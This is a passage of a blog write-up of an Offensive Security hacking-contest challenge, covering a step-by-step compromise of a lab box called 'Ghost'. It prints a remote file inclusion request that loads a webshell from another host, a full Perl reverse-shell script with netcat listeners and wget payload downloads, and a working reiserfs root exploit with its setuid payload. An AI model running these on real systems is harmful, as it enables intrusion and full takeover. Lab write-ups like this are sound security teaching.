 2000  jusched.exe             x86   killthen00b\Administrator     C:\Program Files\Common Files\Java\Java Update\jusched.exe
 3152  python.exe              x86   killthen00b\Administrator     C:\Python26\python.exe
 316   conhost.exe             x86   killthen00b\Administrator     C:\Windows\system32\conhost.exe
 884   WmiPrvSE.exe            x86   NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\wbem\wmiprvse.exe
 3568  _corelanc0d3r.exe       x86   NT AUTHORITY\SYSTEM           c:\surgemail\scripts\_corelanc0d3r.exe
 340   VSSVC.exe               x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\vssvc.exe
 3968  svchost.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 2116  TrustedInstaller.exe    x86   NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe

Anyways, there might be many more, but I went straight to the next challenge.

(Based on http://www.exploit-db.com/exploits/5259, the IMAP service, for example, may be vulnerable to a post AUTH bug.  Since I have been able to change passwords for surgemail accounts, it may have been possible to exploit this bug and use it to gain system access again. But I didn’t try, because I already had achieved the goal : get the key from the text file.

Note : the admin who set up this machine should either get trained, or fired. Does anyone know a decent training facility ?

Challenge 2 : Ghost

This was a fun but painful/hard one. In addition to that (and unfortunately for me), I had to spend most of the day (monday) in the hospital…

I was happy to see that my friends at Corelan Team continued their evil work in the meantime.  And it also was nice to see that they applied the same logic and scripts/exploits that I was using/trying.  So they nailed the challenge before I could… and that’s awesome.

This is what I did to “bust Ghost” :

A portscan against 192.168.6.66/67/68 revealed only one open port: tcp/80 (http), serving a webpage that looks like this :

Apparently the person/people who set up this box, tried very hard (not hard enough though) to make it look like an MS IIS server :

• they changed the server header
• they planted well-known folder structures on the server which are available on some IIS servers
• they used asp file extension, which is usually linked to IIS (or Java Web Server)

On top of that, they planted all kinds of “slow down”/fake exercises (such as a nice script file called “javascript”, basically randomizing the selection of pictures)), and used some nice redirection techniques to make directory/file bruteforcing a real pain.

But I quickly figured out that this is not a Windows box running IIS. I did some folder bruteforcing and after filtering out some of the redirects I found some interesting folders.  One of the folders displayed a basic folder browser (basically looking like something that is served via IIS) : http://192.168.6.66/Sites

They even planted an file called “ViewCode.asp” on the server (size 0), probably in an attempt to slow down the attackers process and make them focus on a known bug (but something that isn’t real)

Nice try, but not good enough to convince me.

On top of that, a quick xprobe also indicates that this is a linux box :

root@krypt2:/pentest/enumeration# xprobe2 -v -p tcp:80:open 192.168.6.66

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is 192.168.6.66
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:udp_ping module: no closed/open UDP ports known on 192.168.6.66. Module test failed
[+] Host: 192.168.6.66 is up (Guess probability: 66%)
[+] Target: 192.168.6.66 is alive. Round-Trip Time: 0.25938 sec
[+] Selected safe Round-Trip Time value is: 0.51877 sec
[-] fingerprint:smb need either TCP port 139 or 445 to run
[-] fingerprint:snmp: need UDP port 161 open
[+] Primary guess:
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.10" (Guess probability: 86%)
[+] Other guesses:
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.21" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.12" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.19" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.14" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.17" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.16" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.15" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.18" (Guess probability: 86%)
[+] Host 192.168.6.66 Running OS: "Linux Kernel 2.4.13" (Guess probability: 86%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.

Taking this into account, this can only mean that the asp files are either just static pages, or just renamed php files, served via a custom handler.

Looking at the other folders and files I discovered in the bruteforce, my attention was drawn by a file called /1/index.asp

While requests to other pages seem to redirect to images or just return 200 OK, this page appeared to have some content.

Look back at the login form on the first page… It seems to be just a static html, renamed to an asp page, without any real code behind it. No matter what you enter as username/password, you always end up on the page again. So that either means that there’s code behind it that doesn’t show anything, or that there is no code behind it. No way to really tell at this point.

But in the case the /1/index.asp page, things are different.

If you enter a username and press the enter button, something actually returns, so it looks like there is some code behind this page :

Looking at the field names in the html source of the page, I see this :

<html>
<head>
<title>Page title</title>
</head>
<body><div align="center">Wrong username or password.</div><!--  This is the login form  -->
<form method="post" action="/1/index.asp">
Username: <input type="text" name="slogin_POST_username" value="corelanc0d3r"><br>
Password: <input type="password" name="slogin_POST_password"><br>
<input type="submit" name="slogin_POST_send" value="Enter">
</form>
</body>
</html>

A quick Google search for the fieldnames (slogin_username or just slogin_ in general) in this asp script provided me with a few resources :

http://www.dreamweaverclub.com/forum/showthread.php?t=24851

=> and that page leads me to :

http://www.mariovaldez.net/software/sitefilo/install.php (Simple Text-File Login script)

which in return brings me at : http://www.milw0rm.com/exploits/7444

In fact, http://192.168.6.66/1/version.txt confirms that this might be the code that is installed on the system :

Based on the milw0rm entry, it looks like this code may be vulnerable to a RFI (Remote File Inclusion / Sensitive Data Disclosure bug)

Let’s try the Data Disclosure bug first.   The advisory states that the default username/password file is called slog_users.txt.

Unfortunately this file does not contain what we had expected :

(maybe they renamed the file and changed the filename in slogin_lib.inc.php). We can try to bruteforce these files, but let’s save some time and try to find out if we can use the RFI bug. An RFI bug can lead to a lot of things, including injecting code and run it on the webserver (if we can for example inject it into a file that is used in a vulnerable “include” statement).

A request to http://192.168.6.66/1/slogin_lib.inc.php resulted in a 200 OK reply, so the file seems to be there.

The exploit code (milw0rm) indicates that this “Simple Text-File Login script”  file (slogin_lib.inc.php) can be exploited using the following request :

[!] EXPLOIT: /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]

Current time is 3:30am. Time for bed.

Sunday morning, 10am. Back in business, time to continue work… reading all about the RFI bug, trying out some requests… but nothing seems to work today.

Around 4pm, I tried this :

http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.71/&cmd=ls%20-als

aha- that looks great. It looks like code can be injected (header.inc.php file) and it would run on the webserver. (header.inc.php is added to the request automatically, so if I host some code in a file called header.inc.php, it would get included by just pointing the parameter to the root of the webserver.

I already figured out I can run commands within the context of the webserver account, but perhaps things can be made a bit easier : inject a full blown php shell.

Plan :

• get a copy of a php webshell (I used c99 but there are many more)
• rename it to header.inc.php,
• host it somewhere so it can be injected into the request
• inject/execute it

Where can I find a webserver for this… ?  I could try to host it on my attacker machine… but there is a better solution.  There’s a webserver (surgemail) available on 192.168.6.70/71/72.   I have ftp write access to that server, so I can just drop some files in the c:\surgemail\www folder.

In addition to the webshell, it might be nice to have a reverse shell set up from the webserver to my box, so I can easily issue OS commands.  One of my friends (mr_me) gave me a copy of cb_shell.pl, I simply renamed it to corelanshell.pl and uploaded it to the webserver as well 🙂

#!/usr/bin/perl
#
# Connect back shell version 0.0
# Created by Depth
# Full hide version
# Use: cb_shell.pl <address> <port> <fake_name>
# netcat -l -p <port> (localhost)
# 

use IO::Socket;
$0 = $ARGV[2];
my $sock = new IO::Socket::INET (PeerAddr => $ARGV[0],PeerPort => $ARGV[1],Proto => 'tcp');
connect(CLIENT,$sockaddr); 

print $sock ":: Depth :: Connect Back Shell ::\n";
if(fork() == 0){
 STDIN->fdopen($sock,w);
 STDOUT->fdopen($sock,w);
 STDERR->fdopen($sock,w);
 system("/bin/sh");
 close($sock);
 exit;
}

Upload script in action (saves me some time when machines get reverted 🙂 )

root@krypt2:/vpn/70# ftp -inv 192.168.6.70 < ftpcmd       
Connected to 192.168.6.70.
220-Complete FTP server
220 FTP Server v 3.3.0
331 Password required for devil
230 User devil logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
250 Directory changed to "/MyDocuments/......".
250 Directory changed to "/MyDocuments/....../......".
250 Directory changed to "/MyDocuments/....../....../......".
250 Directory changed to "/MyDocuments/....../....../....../......".
250 Directory changed to "/MyDocuments/....../....../....../....../surgemail".
250 Directory changed to "/MyDocuments/....../....../....../....../surgemail/www".
200 Type set to I
local: corelanshell.pl remote: corelanshell.pl
200 PORT command successful.
150 Opening BINARY mode data connection for corelanshell.pl
226 Transfer complete.
519 bytes sent in 0.00 secs (2077.2 kB/s)
local: header.inc.php remote: header.inc.php
200 PORT command successful.
150 Opening BINARY mode data connection for header.inc.php
226 Transfer complete.
150397 bytes sent in 0.94 secs (156.4 kB/s)
221 Goodbye.

Ok, so far so good. Next, I will

1. get the header.inc.php to execute and give me a nice web shell gui

2. use the gui to download the corelanshell.pl file

3. execute the perl script and get myself a reverse shell

Step 1 :

http://192.168.6.66/1/slogin_lib.inc.php?slogin_path=http://192.168.6.70/

=> This will basically grab the php shell from 192.168.6.70 (in the webroot, header.inc.php) and execute it

Using the “find all writeable dirs and files” option, I gathered a list of writeable folders :

  2693    4 -rw-rw-rw-   1 root     root          163 May  4 15:52 /var/run/motd
   840    0 lrwxrwxrwx   1 root     root            5 May  4 02:26 /var/tmp -> /tmp/
  2696    0 drwxrwxrwt   4 root     root           80 May  4 15:52 /var/lock
 35652    0 lrwxrwxrwx   1 root     root           18 Apr 29 21:25 /var/lib/python-support -> /usr/lib/pymodules
  5339    0 lrwxrwxrwx   1 root     root            7 Apr 29 21:18 /var/spool/mail -> ../mail
 49222    4 drw-rw-rw-   2 root     root         4096 May  4 06:55 /opt/data
    15    0 lrwxrwxrwx   1 root     root            7 Apr 29 21:18 /media/floppy -> floppy0
    13    0 lrwxrwxrwx   1 root     root            6 Apr 29 21:18 /media/cdrom -> cdrom0
 16655    0 lrwxrwxrwx   1 root     root           37 Apr 29 21:19 /initrd.img -> boot/initrd.img-2.6.31-14-generic-pae
 36865    1 drwxrwxrwt   2 root     root         1024 May  4 05:43 /tmp/.X11-unix
 24577    1 drwxrwxrwt   2 root     root         1024 May  4 05:43 /tmp/.ICE-unix
4026531841    0 lrwxrwxrwx   1 root     root            8 May  4 16:01 /proc/net -> self/net
4026531840    0 lrwxrwxrwx   1 root     root           11 May  4 16:01 /proc/mounts -> self/mounts

/var/lock might be a good target to place my files.

Step 2 :

Went to the /var/lock folder and downloaded the corelanshell.pl file from the webserver at 192.168.6.70 :

=>

Step 3 :

First, set up a netcat listener on my “attacker” machine :

nc -lvp 4455

Next, ran the following command on the server :

perl /var/lock/corelanshell.pl 192.168.6.114 4455 :

Result :

root@krypt2:/vpn/70# nc -lvp 4455             
listening on [any] 4455 ...
connect to [192.168.6.114] from (UNKNOWN) [192.168.6.66] 56073
:: Depth :: Connect Back Shell ::

Ok, I’ve got a nice reverse shell.

root@krypt2:/vpn/70# nc -lp 4455
:: Depth :: Connect Back Shell ::
pwd
/var/lock
ls -al
total 8
drwxrwxrwt  4 root     root      100 May  4 15:58 .
drwxr-xr-x 14 root     root     4096 May  4 02:26 ..
drwxr-xr-x  2 www-data root       40 May  4 15:52 apache2
-rw-r--r--  1 www-data www-data  519 May  6  2010 corelanshell.pl
drwx------  2 root     root       40 May  4 15:52 lvm

Unfortunately I’m not running as root, so if the secret file is hidden somewhere/protected, then I need to find a way to get more privs.

Just to be sure, I did a quick search for all txt files, but couldn’t find anything useful.

Perhaps a local root exploit might work. The system seems to be running

Linux ghost 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

I tried about a dozen of local root exploits… but they all failed miserably… and lost a huge amount of time… (and I have to admit that I’m not that strong in Linux exploitation. )

But I never give up.

I looked at /etc/fstab :

cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid -o value -s UUID' to print the universally unique identifier
# for a device; this may be used with UUID= as a more robust way to name
# devices that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point>   <type>  <options>       <dump>  <pass>
proc            /proc           proc    defaults        0       0
/dev/mapper/ghost-root /               ext4    errors=remount-ro 0       1
# /boot was on /dev/sda5 during installation
UUID=f9f46813-a78a-42e8-a007-53308212ee26 /boot           ext2    defaults        0       2
/dev/sdb1 /apachelogs          reiserfs    user,noauto,rw,exec,suid,user_xattr        0       2
/dev/sdc1 /tmp         ext2        noexec,nosuid,rw                    0       0
/dev/mapper/ghost-swap_1 none            swap    sw              0       0
/dev/scd0       /media/cdrom0   udf,iso9660 user,noauto,exec,utf8 0       0
/dev/fd0        /media/floppy0  auto    rw,user,noauto,exec,utf8 0       0

=> /apachelogs has reiserfs… and that’s suspicious.

So I searched for a local sploit that takes advantage of a bug in reiserfs, and I found this one :

http://www.exploit-db.com/exploits/12130

After having poked around on the server, I noticed that tools such as gcc, cc etc were missing, and that paths to common binaries were not defined.  On top of that, the default exploit code is based on the fact that the root filesystem is reiserfs, which is not the case here.

I figured I would end up having to mod the python code (preferably on the machine itself), and that would be problematic with my perl connect-back shell (vim issues etc). So I decided to make my life somewhat easier and decided to use rrs to get a better shell (compiled, renamed it to corelanshell, uploaded it to 192.168.6.70, downloaded it into /apachelogs/data and ran it)

By that time, another revert wiped out my files again, and I figured to just mod the files offline and use the perl connect back script. It should work just fine.

Anyways, this is what was needed to root the box and see if the proof file can be found in one of the “root-protected” folders:

1. compile the payload separately (because there is no cc/gcc on the ghost machine)
2. edit the python script and change all paths to absolute references.  The plan is to put the files on /apachelogs/data (just a folder to keep files together) and run the script/pre-compiled code from there
3. upload the files (precompiled exploit + python script) and put the script in a location that is not mounted with noexec
4. make the necessary reiserfs folder on the filesystem
5. execute the script & sploit
6. search proof file and cat the contents

Step 1 : compiling the payload (offline, I just used my backtrack system to compile 🙂

root@krypt2:/vpn/70# cat corelanc0d3r.c
int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }
root@krypt2:/vpn/70# cc -w corelanc0d3r.c -o corelanc0d3r

Step 2 : Modify the original python script

• leave out the components that would deal with the compilation and check if the compilation was successful
• make absolute file/path references
• point the xattrs into /apachelogs (instead of /)

(sud0 and the others from Corelan Team fixed most of the issues I had with the script – and they finally rooted the machine before I could… so big kudos to them)

import os, sys
#SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 
def err(txt):
    print '[-] error: %s' % txt
    sys.exit(1)
 
def msg(txt):
    print '[+] %s' % txt
 
def main():
    msg('checking for reiserfs mount with user_xattr mount option')
    f = open('/etc/fstab')
    for line in f:
        if 'reiserfs' in line and 'user_xattr' in line:
            break
    else:
        err('failed to find a reiserfs mount with user_xattr')
    f.close()
 
    msg('checking for private xattrs directory at /apachelogs/.reiserfs_priv/xattrs')
 
    if not os.path.exists('/apachelogs/.reiserfs_priv/xattrs'):
        err('failed to locate private xattrs directory')
  
    msg('capturing pre-shell snapshot of private xattrs directory')
    pre = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs'))
     
    msg('setting dummy xattr to get reiserfs object id')
 
    ret=os.system('setfattr -n "user.hax" -v "hax" /apachelogs/data/corelanc0d3r')
    if ret != 0:
        err('error setting xattr, you need setfattr')
 
    msg('capturing post-shell snapshot of private xattrs directory')
    post = set(os.listdir('/apachelogs/.reiserfs_priv/xattrs'))
    objs = post.difference(pre)
 
    msg('found %s new object ids' % len(objs))
    for obj in objs:
        msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
        f = open('/apachelogs/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
        f.write(XATTR)
        f.close()
 
    msg('spawning setuid shell...')
    os.system('/apachelogs/data/corelanc0d3r')
 
if __name__ == '__main__':
    main()

Step 3 : upload the files

I basically uploaded both files (corelanc0d3r and reis.py) to 192.168.6.70 (via ftp, put them in c:\surgemail\www). Next, I downloaded them from my os shell onto the “ghost” machine using some simple wget calls.

root@krypt2:/vpn/70# ftp -inv 192.168.6.70 < ftpcmd 
Connected to 192.168.6.70.
220-Complete FTP server
220 FTP Server v 3.3.0
331 Password required for devil
230 User devil logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
250 Directory changed to "/MyDocuments/......".
250 Directory changed to "/MyDocuments/....../......".
250 Directory changed to "/MyDocuments/....../....../......".
250 Directory changed to "/MyDocuments/....../....../....../......".
250 Directory changed to "/MyDocuments/....../....../....../....../surgemail".
250 Directory changed to "/MyDocuments/....../....../....../....../surgemail/www".
200 Type set to I
local: corelanc0d3r remote: corelanc0d3r
200 PORT command successful.
150 Opening BINARY mode data connection for corelanc0d3r
226 Transfer complete.
9125 bytes sent in 0.40 secs
local: reis.py remote: reis.py
200 PORT command successful.
150 Opening BINARY mode data connection for reis.py
226 Transfer complete.
1801 bytes sent in 0.37 secs
221 Goodbye.

I already had planted the corelanshell.pl script on 192.168.6.70, so I issued the following command using the c99 webshell :

perl /var/lock/corelanshell.pl 192.168.6.114 4455

Reverse connection accepted, ready to get the 2 files and put them on the server

root@krypt2:/vpn/70# nc -lp 4455

:: Depth :: Connect Back Shell ::
cd /apachelogs
mkdir data
cd data
wget http://192.168.6.70/corelanc0d3r
wget http://192.168.6.70/reis.py

Find a good location (not mounted with noexec)…  => /dev/shm

(I moved the reis.py file to that location)

(important to note that /apachelogs does not show up in the mount list… but I didn’t try to mount it myself… perhaps I should have).

Step 4 : prepare folders

cd /apachelogs
mkdir .reiserfs_priv
mkdir .reiserfs_priv/xattrs

Step 5 : 0wn

Current situation :

/apachelogs/data/corelanc0d3r  => compiled payload
/dev/shm/reis.py => python script

Launch the exploit :

cd /dev/shm
ls
reis.py

python ./reis.py
id
uid=0(r00t) gid=0(r00t) groups=33(www-data)

cat /root/proof.txt
sDSjnSo22bSe12sadjdjrudfknk4455qndlas4

Conclusions

• Using redirects and custom reponses, modifying headers etc are good. They will slow down scripts and script kiddies but won’t stop seasoned hackers from discovering the real identity/engines and/or breaking into the system.
• Although it was somewhat hidden, the “ghost” machine runs some vulnerable code, giving an attacker the ability to issue commands on the system and get a shell. Don’t rely on the “need to know” principle. Hackers will find out that you planted files somewhere and if it’s vulnerable, they will use it to hack into your system.
• The web server runs with a low privilege account, but the combination of the vulnerable code, with insecure file/folder permissions (write access + execute access) may allow for further exploitation.
• On top of that, the reiserfs implementation is buggy and can allow an attacker to escalate privileges, essentially allowing him to obtain root permissions.
• Weak firewall rules : allowing a server to access other servers (outbound connections), when that is not really necessary, may provide a hacker the ability to serve/download malicious files.

Challenge 3 : Ghost2 (joke of the day)

After having finished the challenges, I decided to have some fun with the guys in the #HSIYF channel, and try to spread the rumour that I had found another (hidden) machine. I told them that this machine does not show any open ports, but it does respond to http requests on port 8080 when connected (pivoting) from 192.168.6.70/71/72.

About 2 hours before the games ended, I posted the output of (an obvious fake) exploit to the channel :

c:\sploits>perl corelan0wner_iis0day.pl 192.168.6.xx 8080
[+] corelanc0d3r's sploit for ghost2 (hidden machine)
[+] Creating payload... 
[+] Connecting to port 8080
[+] Sending stage 1 (3219 bytes)...
[+] Sending stage 2 (1211 bytes)...
[+] Sleeping 30 seconds (wait for hunter)
[+] Sending stage 3 (2104 bytes, priv escalation)
[+] ...
[+] Telnet to port 5555

Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved

C:\Windows\system32>whoami
NT AUTHORITY\SYSTEM

I’m not sure how many people fell for it and went back to the “killthen00b” machines, to see if there was something they could find from that machine….

The number of PM’s I reveived, following my fake message was a good indication that I managed to freak out a number of people… that was fun.  Panic all over the place 😀

So OffSec, if you noticed some high(er) traffic on killthen00b, about 2 hours before the games ended…  Sorry for that 🙂

Finally :

• Big high five to my friends at Corelan Team. You guys rock !
• Make no mistake – although reading this write-up probably took you max. half an hour or so, actually taking the challenge took a LOT longer (also caused by the fact that I spent about a day in the hospital).  Anyways, I still had a lot of fun and learned a lot.
• Greetz to some of the other participants (VADiUM, smtx, raph0x88, fireking300, etc… at least you guys didn’t delete my files on the server 🙂 Respect for that )

By the way : smtx made a nice video about the “ghost challenge”. You can see the video here : http://www.information-security-training.com/videos/smtx-ghost-challenge-video/

Ranking

Rank before submitting the documentation :

Final rank :

(So I guess this documentation/blogpost sucks).

Oh well.

---

Similar/Related posts:

Nessus/OpenVAS wrapper for ike-scan Anti-debugging tricks revealed – Defcon CTF Qualifications 2009: Bin300 Analysis Offensive Security Exploit Weekend BlackHat Europe 2011 / Day 01 Blackhat Europe 2010 Barcelona – Day 01